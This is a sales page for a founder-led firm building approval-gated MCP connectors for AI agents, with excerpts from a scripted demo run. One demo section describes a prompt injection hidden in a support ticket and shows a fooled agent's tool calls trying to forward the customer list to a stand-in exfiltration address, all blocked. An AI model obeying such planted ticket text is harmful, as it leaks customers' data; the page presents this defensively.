Agent-Ready Integration Sprint

Make your product usable by AI agents, safely.

We build the MCP connector that lets Claude, ChatGPT and other AI agents work inside your product. Reads flow freely. Anything that moves money, messages a customer or cannot be undone waits for a person to approve that exact action, and your team can stop the agent at any moment.

Fixed scope and price agreed in writing before any work starts. You talk directly with the founder.

  • Approval on risky actions
  • Limits enforced in software
  • Stop switch your team controls
  • Signed, exportable audit record

Agents are becoming a way customers use software.

MCP (Model Context Protocol) is the open standard AI agents use to connect to products. A basic connector that reads data is easy. The hard part is letting an agent act: issue a refund, reply to a customer, close a batch of tickets. That is where teams get stuck, and where security reviewers start asking questions.

Growth

Show up where work happens

Teams adopting agents prefer tools their agents can use directly. An official connector puts your product inside Claude, ChatGPT and other MCP clients.

Control

Agents act, people decide

Every write action has a rule: run on its own, wait for approval, or never. Your team sets the rules, and the server enforces them, not the prompt.

Proof

An answer for the security review

When a buyer asks who approved an action, or how to stop the agent, you can show them live and hand over a signed record.

What the demo proves

Two working connectors, one for Stripe refunds and coupons and one for a helpdesk. Below are real lines from the captured run, unedited except where marked with ... for length.

13 of 13 demo checks passed · 90 of 90 automated tests passed (22 connector, 68 Flint Approve), re-run October 18, 2026

01 · Approval-gated refunds

A refund waits for a person, and the approval works once

The agent asks to refund $750. Nothing runs until the finance lead approves that exact charge and amount. Replaying the approval fails, and so does using it on a different charge. A $9,800 refund is blocked outright by a $5,000 limit, without anyone being asked.

AGENT  -> refund_charge {"charge":"ch_demo_003","amount":75000,...}
MCP    <- APPROVAL_REQUIRED reasons=["policy_requires_approval"]
   check: refund did not run before approval ... PASS
HUMAN  finance-lead@buyer.example taps APPROVE -> HTTP 200
MCP    <- OK (person_approved, approved by finance-lead@buyer.example)
Agent replays the same approval:
MCP    <- APPROVAL_VOID reasons=["approval_consumed"]
Agent tries the approval on a different charge:
MCP    <- APPROVAL_INVALID reasons=["approval_not_for_this_action"]
AGENT  -> refund_charge {"charge":"ch_demo_005","amount":980000,...}
MCP    <- LIMIT_EXCEEDED reasons=["limit_amount_per_action:980000>500000"]
02 · Prompt injection blocked

A hidden instruction in a ticket goes nowhere

A support ticket hides text telling the agent to send out the customer list. The input is flagged, and when a fooled agent tries three different ways to obey it, the software blocks every attempt and records it.

AGENT  -> get_ticket {"ticket_id":1042}
flagged as untrusted input; signals: override_instructions,
  data_exfiltration_request, concealment, hidden_text
A fooled agent now tries to obey the hidden text, three ways:
AGENT  -> export_requesters {"limit":100}
MCP    <- NOT_PERMITTED reasons=["scope_missing:helpdesk.customers:read"]
AGENT  -> forward_ticket {"ticket_id":1042,"to":"records@exfil-drop.example",...}
MCP    <- EGRESS_BLOCKED reasons=["destination_not_allowlisted:exfil-drop.example"]
AGENT  -> reply_to_customer {"ticket_id":1042,"to":"records@exfil-drop.example",...}
MCP    <- EGRESS_BLOCKED reasons=["destination_not_allowlisted:exfil-drop.example"]
   check: nothing reached the attacker ... PASS
03 · Stop switch

Your admin stops running work, then undoes it

A 31-ticket bulk close is refused by a 25-record limit. A 20-ticket job starts, and the buyer presses stop while it runs. It halts at 7 of 20, every later call is refused, and the 7 closed tickets are reopened. No ticket to the vendor needed.

AGENT  -> bulk_close {"ticket_ids":[1001,...,1031]}
MCP    <- LIMIT_EXCEEDED reasons=["limit_records_per_action:31>25"]
AGENT  -> bulk_close {"ticket_ids":[1001,...,1020]}
BUYER  presses the kill switch (POST /v1/agents/:id/stop) while the job is running
MCP    <- HALTED_IN_FLIGHT progress={"done":7,"of":20}
BUYER  kill switch -> HTTP 200 aborted_in_flight=1 elapsed_ms=2
   check: no tickets closed after the stop ... PASS
MCP    <- STOPPED reasons=["agent_stopped"]
BUYER  undo the partial bulk job -> HTTP 200 {"reopened":7}
   check: partial work undone ... PASS
04 · Signed export

A record you keep, and can check without us

Every step, input, approval and block is exported as signed JSON and CSV. The file verifies offline against a published public key. Change the $750 refund to $75 in the file and verification fails.

wrote demo-output/stripe-task-record.json (22 records) and .csv
#10 action_started    stripe.refund  person_approved by finance-lead@buyer.example ["policy_requires_approval"]
#11 action_completed  stripe.refund  person_approved by finance-lead@buyer.example
#22 task_stopped                     stop_switch
offline verify against Flint's published JWKS:
{"ok":true,"count":22,"export_head":"25ea5be27cd8...3ad059"}
tamper test (change the $750.00 refund to $75.00):
{"ok":false,"at":8,"reason":"bad_ledger_hash"}
   check: export verifies; tampered copy fails ... PASS

How this was run: captured October 18, 2026 from a real Flint Approve server and real MCP servers built on the official MCP SDK. The agent is a script so the run is repeatable, and Stripe and the helpdesk are test stand-ins with the same data shapes. Timestamps are trimmed from the export lines above. On a Sprint, we run the same controls against your own sandbox. We walk through it live on the call.

How the Sprint works

One fixed-scope build over the API you already have. You keep the code and it runs in your account.

  1. 20-minute callWhich jobs should agents do in your product, and which actions are risky.
  2. Written scopeTools, read vs write access, approvers, limits and a fixed price, signed before work starts.
  3. BuildRead tools first. Write tools go behind Flint Approve. OAuth where your users need it.
  4. Test liveTested in Claude and ChatGPT on your sandbox, then a live demo for your team.
  5. Hand offCode in your repo, deployed in your cloud, a directory submission packet and a one-page agent safety sheet.

Pricing

Start with the Sprint. Add the rest only when you need it. Every engagement gets a written scope and fixed price before any work, and no payment is taken on this site.

Start here
Agent-Ready Integration Sprint
From $2,500
Fixed scope, one connector
  • MCP server over your existing API
  • Read tools plus approval-gated write tools
  • Hard limits, stop switch and undo where possible
  • Signed audit export
  • Tested in Claude and ChatGPT on your sandbox
Book a 20-minute call
Agent-Ready Launch
$15,000 to $25,000
For a public, multi-customer connector
  • Everything in the Sprint
  • OAuth and multi-tenant hosting
  • Claude and ChatGPT directory submissions
  • Agent safety evidence pack for your buyers
  • Launch support for your team
Talk about a launch
Flint Approve care plan
$300 to $500/mo
After your connector goes live
  • Approvals, limits and stop switch kept running
  • MCP protocol and SDK updates
  • Rule and limit changes on request
  • Audit exports whenever you need them
How Flint Approve works
Readiness Review
From $4,500
Add-on, before an enterprise review
  • All 20 requests in the public MACH Alliance AI agent safety questionnaire, scored
  • Rehearsal of the live demonstrations
  • Draft answers and an evidence pack
See the Review

Published prices for comparable MCP connector builds start around $2,500. Your exact price depends on the number of tools, OAuth and hosting, and is fixed in the written scope. USD.

Plain facts

We would rather show you working software than make claims. Here is exactly where things stand.

  • Flinttech is a new, founder-led company in Anoka, Minnesota. There are no client logos here yet, so we show working code instead.
  • Flint Approve is early-stage software. It has not been independently audited or certified.
  • The demo runs on test stand-ins for Stripe and a helpdesk. In a Sprint, we prove it on your sandbox.
  • We work on test accounts under a written scope, and never touch production without your written authorization.
  • Flinttech is not affiliated with or endorsed by the MACH Alliance, Anthropic, OpenAI or Stripe.

Questions

Straight answers, including what is not built yet.

Can't we generate an MCP server from our OpenAPI spec for free?

Yes, tools can generate a basic wrapper. What they skip is the work that decides whether you can let agents act: tool design, OAuth, scoping, safe write actions, limits, a stop switch, hosting and an evidence trail. That is what the Sprint delivers.

Can small refunds go through without approval?

Only if you choose. It is off by default, so every refund waits for a person. Your team can set an amount, for example refunds up to $500 with a daily cap, that runs on its own. Turning it on needs a second person to approve the change, and every action it lets through is recorded with the rule that allowed it. This is new and covered by automated tests; we will show it on your sandbox before you rely on it.

How do you know the approver is really the approver?

By default, approval comes from a one-time link emailed to a named person. For stricter setups, each approver adds a code from an authenticator app, so the link alone is not enough. Each approval carries a signed receipt naming who approved and how they proved it. Single sign-on and passkeys are not built yet.

What happens if nobody answers an approval?

It escalates to a backup approver, then denies by default. Nothing runs on silence.

Does Flint Approve use AI or send our data to an AI provider?

No. Flint Approve contains no AI model and calls no AI provider. It records the actions routed through it: the tool, the arguments, the decision and the result.

Who owns the code?

Ownership and licensing are set in the written scope. Our default is that you own the connector code we write for you, and Flint Approve is provided under the care plan.

Which agents does it work with?

Any MCP client, including Claude, ChatGPT and Cursor. Listing decisions for public app directories are made by each directory, not by us.

Book a 20-minute call

Tell us about your product and what you want agents to do. Bradley Dickover, the founder, replies within one business day with times to talk.

  • See the demo live, on screen
  • Find the risky actions in your API
  • Leave with a rough scope, even if we never work together

Prefer email? Write to f1intt3ch@gmail.com.

This opens a pre-filled email in your mail app. Nothing is stored on this site.